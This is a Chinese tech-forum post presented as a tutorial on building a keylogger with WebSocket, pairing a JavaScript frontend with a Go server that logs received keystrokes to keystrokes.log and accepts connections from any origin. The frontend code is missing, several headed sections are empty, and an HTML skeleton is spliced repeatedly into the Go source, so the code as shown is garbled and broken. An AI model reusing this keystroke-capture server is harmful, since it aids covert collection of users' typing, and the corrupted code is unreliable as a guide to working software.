IT评测·应用市场-qidao123.com技术社区

标题: websocket实现go+js的键盘记录器 [打印本页]

作者: 莫张周刘王    时间: 2025-3-31 09:29
标题: websocket实现go+js的键盘记录器
WebSocket 特性详解

优点

缺点

实现步调

HTML + JS 代码实现前端

前端代码的主要功能是监听用户的键盘变乱,并将按键数据通过 WebSocket 连接发送到服务器。以下是详细的实现代码:
  1. <!DOCTYPE html>  
  2. <html>  
  3. <body>  
  4.   
  5. </body>  
  6. </html>
复制代码
代码解释:
Go + WebSocket 库实现后端接收服务器

后端代码的主要功能是接收客户端发送的按键数据,并将其打印到控制台和记录到日志文件中。以下是详细的实现代码:
  1. package main    import (      "encoding/json"      "log"    "net/http"    "os"    "time"      "github.com/gorilla/websocket")    var upgrader = websocket.Upgrader{      CheckOrigin: func(r *http.Request) bool { return true }, // 允许跨域  }    type KeyLog struct {      Key       string `json:"key"`      Code      string `json:"code"`      Timestamp int64  `json:"timestamp"`  }    func main() {      http.HandleFunc("/ws", handleWebSocket)      log.Fatal(http.ListenAndServe(":8080", nil))  }    func handleWebSocket(w http.ResponseWriter, r *http.Request) {      conn, err := upgrader.Upgrade(w, r, nil)      if err != nil {         log.Println("升级到 WebSocket 失败:", err)         return      }      defer conn.Close()        // 实时接收消息      for {         _, msg, err := conn.ReadMessage()         if err != nil {<!DOCTYPE html>  
  2. <html>  
  3. <body>  
  4.   
  5. </body>  
  6. </html>  log.Println("读取消息失败:", err)<!DOCTYPE html>  
  7. <html>  
  8. <body>  
  9.   
  10. </body>  
  11. </html>  break         }<!DOCTYPE html>  
  12. <html>  
  13. <body>  
  14.   
  15. </body>  
  16. </html> var logData KeyLog         if err := json.Unmarshal(msg, &logData); err != nil {<!DOCTYPE html>  
  17. <html>  
  18. <body>  
  19.   
  20. </body>  
  21. </html>  log.Println("解析 JSON 失败:", err)<!DOCTYPE html>  
  22. <html>  
  23. <body>  
  24.   
  25. </body>  
  26. </html>  continue         }<!DOCTYPE html>  
  27. <html>  
  28. <body>  
  29.   
  30. </body>  
  31. </html> // 实时打印         log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp)         // 写入日志文件         saveToFile(logData)      }  }    func saveToFile(logData KeyLog) {      logLine := time.Unix(0, logData.Timestamp*int64(time.Millisecond)).Format("2006-01-02 15:04:05") +         " Key: " + logData.Key + " Code: " + logData.Code + "\n"        // 以追加模式打开文件      file, err := os.OpenFile("keystrokes.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)      if err != nil {         log.Printf("打开文件失败: %v", err)         return      }      defer file.Close()        if _, err := file.WriteString(logLine); err != nil {         log.Printf("写入文件失败: %v", err)      }  }
复制代码
代码解释:
运行效果

页面中所有的键盘操作都将被实时打印并记录在文件中。运行上述代码后,打开 HTML 文件,在页面中按下键盘上的任意按键,你将在服务器的控制台看到相应的按键信息,同时这些信息也会被记录到 keystrokes.log 文件中。以下是运行效果的截图:

当前html页面没有添加任何界面效果,后续可以用于自行开辟
除了 WebSocket 技术,我们还可以使用 gRPC-Web 技术来实现同样功能的键盘记录器。gRPC-Web 联合了 gRPC 的高性能和 Web 技术的灵活性,能够提供更强大的远程过程调用能力。不外,由于 gRPC-Web 必要使用 Protocol Buffers(Protobuf)技术进行数据序列化和反序列化,实现过程相对复杂,涉及到 Protobuf 消息界说、服务接口界说、代码天生等多个步调。我们会在后续的文章中详细介绍怎样使用 gRPC-Web 技术来实现键盘记录器,敬请等待。
总结

通过本文的介绍,我们相识了 WebSocket 技术的特性和优缺点,并使用 Go 和 JavaScript 实现了一个简单的键盘记录器。WebSocket 技术为实时数据交互提供了一种高效、可靠的解决方案,非常得当必要实时响应的应用场景。。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 IT评测·应用市场-qidao123.com技术社区 (https://dis.qidao123.com/) Powered by Discuz! X3.4